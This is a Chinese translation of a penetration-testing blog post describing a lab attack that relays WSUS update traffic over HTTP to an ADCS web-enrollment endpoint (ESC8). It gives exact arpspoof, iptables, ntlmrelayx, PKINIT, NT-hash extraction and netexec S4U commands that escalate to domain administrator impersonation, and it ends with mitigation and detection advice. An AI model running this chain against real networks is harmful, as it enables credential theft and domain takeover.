利用Windows 服务器更新服务和 MITM 执行 ADCS ESC8 攻击

在这篇博文中，我们将尝试演示另一种方法（并不新颖），即通过滥用 WSUS 服务器错误配置来提升机器/计算机上的权限。

自 2020 年Gosecure道德黑客发布错误配置的 WSUS 部署漏洞利用工具pywsus以来，WSUS 配置在渗透测试中受到越来越严格的审查，以破坏客户端更新机器。随后 Gosecure 发表了一篇关于滥用 Windows Server Update Services (WSUS) 来启用 NTLM 中继攻击的论文。

在阅读上一篇精彩的博客文章时，我注意到留给读者的是提供概念验证，说明如何在 Active Directory 证书服务 (ADCS) 上下文中利用易受攻击的 WSUS 服务器配置来获取域加入计算机上的 NT AUTHORITY/System 权限。这就是这篇博客文章的目标！

在深入探讨这个主题之前，我们先简单谈谈 WSUS 以及我们要结合的 ADCS 漏洞。

WSUS 101

WSUS 概述

Windows 服务器更新服务(WSUS) 允许信息技术管理员在计算机上部署最新的 Microsoft 产品更新。据MS称，WSUS 可用于全面管理通过 Microsoft Update 发布到网络上计算机的更新分发。WSUS 服务器从 Microsoft 服务器下载更新并将其保存在本地，以便将其提供给域计算机和服务器。

组策略对象被推送并应用于使用 WSUS 服务器进行更新的一组域计算机。在这些计算机中，Windows Update Auto Update Clien t二进制文件- wuauclt.exe用于通过联系WSUS服务器来频繁查找更新。该二进制文件现已弃用。

我们可以使用Windows 设置来搜索和安装更新。从那里，客户端计算机使用 HTTP(S) /SOAP XML Web 服务与 WSUS 服务器通信。这意味着所有更新过程都是使用 Web 服务完成的。可以在此处找到从攻击角度的完整解释。更新客户端请求（POST）的主要端点是 /ClientWebService/SimpleAuth.asmx、/ClientWebService/Client.asmx、/ApiRemoting30/WebServices.asmx，XML 数据中包含的有趣请求是：

• SyncUpdates：发送当前更新列表。

• GetExtendedUpdateInfo：检查新的更新 ID。

在响应 GetExtendedUpdateInfo 请求时，WSUS 服务器会发送元数据、处理程序（例如，CommandLineInstallation 允许在主机上使用特定参数执行 WSUS 服务器提供的 Microsoft 签名的二进制文件）、下载 URL 甚至每个新更新的安装说明。

使用 Powershell 查找更新

域服务器和计算机可以借助 Powershell 和 MicrosoftUpdate .NET API 查找更新。届时，将请求 /ApiRemoting30/WebServices.asmx 端点并使用 WSUS Powershell 模块安装更新。

WSUS 攻击

在域上部署 WSUS 时，建议启用 SSL，但这不是强制的，不幸的是，这会导致我们在渗透测试中遇到的 WSUS 配置不安全的情况。最初，WSUS 攻击背后的想法是，如果我们能够执行 MITM 攻击，我们可以在域计算机的眼中声称自己是 WSUS 服务器，正在寻找更新，然后注入虚假更新，以 NT AUTHORITYSystem 滥用CommandLineInstallation处理程序在计算机上执行命令。这就是 pyWSUS 工具的由来。

利用 WSUS 错误配置的另一种方法是利用计算机客户端提供的身份验证来查找更新并将其中继到其他域服务，在我们的例子中是：Active Directory 证书服务 Web 注册端点。

ADCS 101

公钥基础设施

PKI（公钥基础设施）是用于创建、管理和撤销证书以及公钥/私钥的基础设施。

Active Directory 证书服务 (ADCS) 是 Microsoft 在 Active Directory/Windows 环境中实施的 PKI 基础架构。PKI 基础架构的用途如下：

• TLS 证书 (HTTPS/LDAPS/RDP)

• 签名二进制文件、Powershell 脚本甚至驱动程序

• 用户认证

• 文件系统加密

证书模板

为了简化 Active Directory 中的证书请求，提供了证书模板。

默认情况下，正如Sant0rryu 博客文章中所述，安装 ADCS 时，会提供不同的默认模板。其中两个是用户和机器模板，域中的任何用户和机器/计算机帐户都可以请求它们。我们对这两个模板特别感兴趣。首先让我们谈谈机器模板。

最初，所有客户端的更新均由 LocalSytem NT AuthoritySystem 帐户安装，这是一个内置服务帐户。在 Active Directory 环境中，localSystem 在尝试连接到域上的远程服务器时使用计算机帐户。因此，基本上在查找更新时，如果 Active Directory 环境中需要进行身份验证，Windows 客户端可能会使用计算机帐户。

账户认证（PKINIT）

PKINIT 是 Kerberos 的非对称预认证机制，它使用 X.509 证书向客户端验证 KDC 的身份，反之亦然。与传统认证密码和对称密钥相比，唯一的变化涉及 KRB_AS_REQ 和 KRB_AS_REP 交换。实际上，客户端使用与有效证书关联的私钥签署时间戳。只有少数证书的 EKU 允许客户端使用证书进行 PKINIT 认证（例如EKU客户端认证）。

实际情况

想象一下，我们身处 Jujutsu Kaisen 的奇幻世界 ;)，并且我们以某种方式拥有与之对应的域。让我们考虑以下设置：

• DC-CURSE (192.168.56.105)：域控制器 (Windows Server 2019)，也托管证书颁发机构服务。CA 名称为 jjk-CURSE-CA。

• WSUS (192.168.56.114)：Windows 服务更新服务器（Windows Server 2019），它托管 WSUS 并通过HTTP IIS 服务器向计算机提供更新。

• CURSE-COMP (192.168.56.108)：正在寻找更新的 Windows 11 客户端机器。

• Parrot-OS (192.168.56.115) 是我们的攻击机器。

漏洞利用前提条件

为了利用这种情况，让我们看看先决条件：

• 首先，能够拦截 Windows 更新客户端和 WSUS 服务器的流量非常重要。换句话说，我们能够执行 ARP 欺骗攻击，这意味着我们与两者都在同一个网络上。

• WSUS 服务器已配置为使用 HTTP。可以通过查询注册表项找到 WSUS 服务器协议配置：

PS > reg query HKLMSoftwarePoliciesMicrosoftWindowsWindowsUpdate /v WUServer

HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate    WUServer    REG_SZ    http://wsus.jjk.local:8530/

还可以使用 Wireshark 嗅探流量，以便找到如上所述的客户端请求的主要端点。

• 在启用 HTTP 且禁用 EPA（身份验证扩展保护）的域上启用了基于 HTTP 的 ADCS 注册方法。换句话说，ADCS 容易受到 ESC8 的攻击。

充分利用形势

我们知道 WSUS HTTP 服务器使用 8530 TCP 端口来响应客户端请求。我们将使用 ARP-Spoof 攻击拦截 Windows 更新流量（我们可以使用 mitm6 或响应器等）。在两个 Linux 终端中，有用于拦截客户端（192.168.56.108）和服务器（192.168.56.114）之间流量的命令。

在一个终端中：

~ sudo arpspoof -i enp0s3 -t 192.168.56.108 192.168.56.114 

在另一个终端中：

~ sudo arpspoof -i enp0s3 -t 192.168.56.114 192.168.56.108 

如果我们在 Windows 更新服务器和客户端计算机之间进行 MITM，则意味着我们可能会在端口 8530 上收到 HTTP 请求。由于我们想使用 impacket 工具Ntlmrelayx进行中继，因此我们必须进行端口重定向。我们将端口 8530 上的所有传入流量重定向到端口 80，就好像我们在端口 80 上监听一样，我们会收到这些请求。我们可以选择使用哪些工具。我们可以使用 IpTables 或socat来实现此目的：

• Iptables 的使用：

~ sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80

• socat 的使用

~ sudo apt install socat~ sudo socat TCP-LISTEN:8530,fork TCP:80

因此，我们已准备好将所有传入流量转发到我们的 HTTP 80 端口，再转发到 ADCS Web 注册 HTTP 服务器。接下来将使用 ntlmrelayx 执行转发。

[!IMPORTANT] 确保使用 ExtAndroidDev 拉取请求或Dirkjann 的 httpattack.py 版本。正如 Dirk-jan 在他的博客文章中解释的那样 ，服务器/计算机不应该请求证书，因此 Web 注册页面会返回错误“找不到证书模板。您无权从此 CA 请求证书，或者访问 Active Directory 时发生错误。” 以下是我们在实验室中使中继工作的方式：

python3 -m venv envsource env/bin/activategit clone https://github.com/SecureAuthCorp/impacket ./impacketcd impacketgit fetch origin pull/1101/head:ntlmrelayx-adcs-attackgit checkout ntlmrelayx-adcs-attackpython3 setup.py installcd examplespython3 ntlmrelayx.py -t http://192.168.56.105/certsrv/certfnsh.asp -smb2support --adcs

我们可以等待 Windows 更新客户端请求 WSUS 服务器，或者如果我们可以访问受感染的主机，我们可以搜索更新。以下是 CURSE-COMP 受害者计算机正在查找更新：

确实，我们收到了一些请求，我们将转发给 jjk-CURSE-CA 网络注册，以便使用计算机模板请求模板。它如下：

让我们看看Wireshark发生了什么：

• CURSE-COMP 计算机 (192.168.56.108) 向我们的 Web 服务器发送更新请求（请记住，我们将端口 8530 上的所有传入流量转移到端口 80）。CURSE-COMP 向我们请求更新，因为我们在 192.168.56.114 上充当 WSUS 服务器。我们向他发送 HTTP 401 错误代码。

• 我们（Parrot-OS 192.168.56.115）使用网络注册向 jjk-CURSE-CA（192.168.56.105）申请证书，它返回 HTTP 401 错误。

• jjk-CURSE-CA 要求我们使用 NTLM 进行身份验证。我们向 CURSE-COMP 发送相同的响应。

• CURSE-COMP 使用 NTLM 向我们进行身份验证，我们将其转发给 jjk-CURSE-CA 以请求机器证书。

• 我们从 jjk-CURSE-CA 获得了 200 HTTP 响应，然后我们查询并下载 CURSE-COMP$ 计算机帐户的证书。

既然我们已经获得了证书，让我们使用 PKINIT 来验证域。然后我们使用PKINITools工具包的 gettgtpkinit.py 来获取我们的 TGT：

~ python3 /opt/PKINITtools/gettgtpkinit.py -pfx-base64 $(cat a.b64) 'jjk.local/CURSE-COMP$' 'curse-comp.ccache' -dc-ip 192.168.56.105

一旦我们获得了 TGT，我们就使用 KRB5CCNAME 导出命令将其加载到内存中。klist 命令允许列出已加载的 Kerberos 票证，我们看到我们已获得 TGT 作为 CURSE-COMP$，这是我们请求证书的机器帐户。

~ export KRB5CCNAME=curse-comp.ccache~ klist

当我们使用 PKINIT 进行身份验证时，客户端帐户 NT 哈希在 PAC（特权属性证书）中加密。为了读取 PAC 并访问客户端的 NT 哈希，客户端必须使用另一个称为用户到用户（U2U）的 Kerberos 扩展。用户到用户在此 IETF 草案中得到了很好的解释。这里的想法是在 KRB_TGS_REQ 期间将我们的 TGT 添加为“附加票证”的同时向我们自己请求服务票证。当我们收到 KDC 响应时，我们将能够找出 PAC 和 NT 哈希，因为它使用我们的 TGT 的会话密钥（我们知道）来加密 PAC。我们使用这个会话密钥（来自我们的 TGT）来解密 PAC 和 NT 哈希。

~ python3 /opt/PKINITtools/getnthash.py jjk.local/CURSE-COMP$ -key f00b6e57ffaf6f23002b39d72ed6f34e0bfa9824db4fe8ccbe28f82b4c96119b

然后我们有了 CURSE-COMP$ 帐户 NT 哈希，让我们用我们最喜欢的网络渗透测试工具netexec来验证它。

~ nxc smb 192.168.56.105 -u  CURSE-COMP$ -H "8a03b8e0fb9728ee5d6dd1eb356a5270"

由于我们有 CURSE-COMP$ NT 哈希，我们可以执行银票攻击并在机器上模拟域管理员 (RID 500) 用户。通常，要执行 S4U 攻击，我们使用 impacket。要继续，我们必须找到域 SID，然后向我们入侵的计算机帐户请求域管理员票证。最近，netexec 添加了nxc4u 功能，为我们提供了执行此攻击的捷径！

~ nxc smb CURSE-COMP.jjk.local -u 'CURSE-COMP$' -H '8a03b8e0fb9728ee5d6dd1eb356a5270' --delegate administrateur --self --sam

就是这样！从现在起，我们可以在主机上执行任何我们想要的后利用操作，例如转储凭据、获取管理访问权限等等。

利用这种情况的另一种方法

Windows Server 更新服务 3.0 类库

为了让管理员完全控制更新管理过程，同时又无需客户端计算机直接从 Microsoft Update 界面检索更新，Microsoft 创建了WSUS 3.0 API。系统管理员可以使用 WSUS API 确定哪些更新适用于一台或一组计算机，然后下载这些更新并安装，几乎不需要用户干预。Microsoft 利用这一点，为了使用 WSUS 3.0 API，我们必须是 WSUS 记者组或 WSUS 管理员组的成员，这意味着在某些时候与 WSUS API 通信的用户必须以某种方式通过它验证身份，或者必须在使用 WSUS API 类时向 WSUS 服务器进行身份验证。WSUS 3.0 API 已经在安装了 WSUS 的服务器和安装了 WSUS 客户端的客户端上可用。该 API 旨在与 WSUS 3.0 服务器一起使用。

客户端和 WSUS 3.0 API 服务器之间的通信是使用Microsoft.UpdateServices.Administration 命名空间完成的。要使用 WSUS API，我们需要引用更新服务管理程序集 Microsoft.UpdateServices.Administration.dll。从那里，可以在请求中调用不同的 AdminProxy 方法。最后，我们在向 API 服务器发送请求期间发送数据的主要端点是/ApiRemoting30/WebServices.asmx。

我在多次网络渗透测试中注意到，某些服务器上使用PSWindowsUpdate（基于 Microsoft.UpdateServices 类）模块的 powershell 脚本由系统管理员运行，以从 WSUS 3.0 服务器搜索更新。当然，WSUS 服务器是在 HTTP 上运行的。由于这些模块在用户（域用户或已登录的服务帐户）上下文中使用，因此如果需要，它们将使用用户/服务帐户凭据进行身份验证。换句话说，如果需要 NTLM 身份验证，它们将携带带有凭据的 NTLM 身份验证。这是我遇到的脚本示例：

    ...    cut    ...        Process {        If (-NOT $PSBoundParameters.ContainsKey('WSUSServer')) {            #Attempt to pull WSUS server name from registry key to use                        If ((Get-ItemProperty -Path HKLM:SoftwarePoliciesMicrosoftWindowsWindowsUpdate -Name WUServer).WUServer -match '(?<Protocol>^http(s)?)(?:://)(?<Computername>(?:(?:w+(?:.)?)+))(?::)?(?<Port>.*)') {                $WsusServer = $Matches.Computername                $Port = $Matches.Port            }        }        #Make connection to WSUS server          Try {            Write-Verbose "Connecting to $($WsusServer) <$($Port)>"            $Script:Wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer($wsusserver,$Secure,$port)              $Script:_wsusconfig = $Wsus.GetConfiguration()            Write-Output $Wsus          } Catch {            Write-Warning "Unable to connect to $($wsusserver)!`n$($error[0])"        } Finally {            $ErrorActionPreference = 'Continue'         }

让我们回到我们的实验室，这次使用特权用户（Satoru Gojo）通过交互式 shell 工具登录 CURSE-COMP。Gojo 使用通过Windows Server Update Services 类库连接到 WSUS 服务器的脚本来查找更新：

即使出现 404 错误，我们也能看到有人尝试连接 WSUS 服务器。我们同时使用 ntlmrelayx 监听网络；我们可以看到有人发起了证书请求，但使用的是域用户帐户 GOJO，而且证书请求当然失败了，因为使用的模板不正确：

当我们使用正确的模板“用户”重试中继时，我们请求并获取用户证书：

根据域中的用户权限，该攻击可能值得考虑，尤其是当有特权用户/服务帐户运行此命令时。

结论

在这篇博文中，我们并没有引入任何新的攻击概念，我们试图找到另一种方法来滥用 Active Directory 环境中的 WSUS 错误配置。当 WSUS 和 ADCS 都配置错误并且可能以任何方式进行 MITM 时，它们都可能导致域计算机受到攻击。一方面，WSUS 应通过 HTTPS 配置，另一方面，ADCS Web 注册应使用 EPA 配置。在调查计算机帐户的一些可疑行为时，Defender 可以利用 Windows 事件日志（例如 PKINIT 身份验证的事件 4768）。一些事件 id 如 4768 与 PKINIT 身份验证有关。

Abusing WSUS with MITM to perform ADCS ESC8 attackhttps://j4s0nmo0n.github.io/belettetimoree.github.io/2023-12-01-WSUS-to-ESC8.html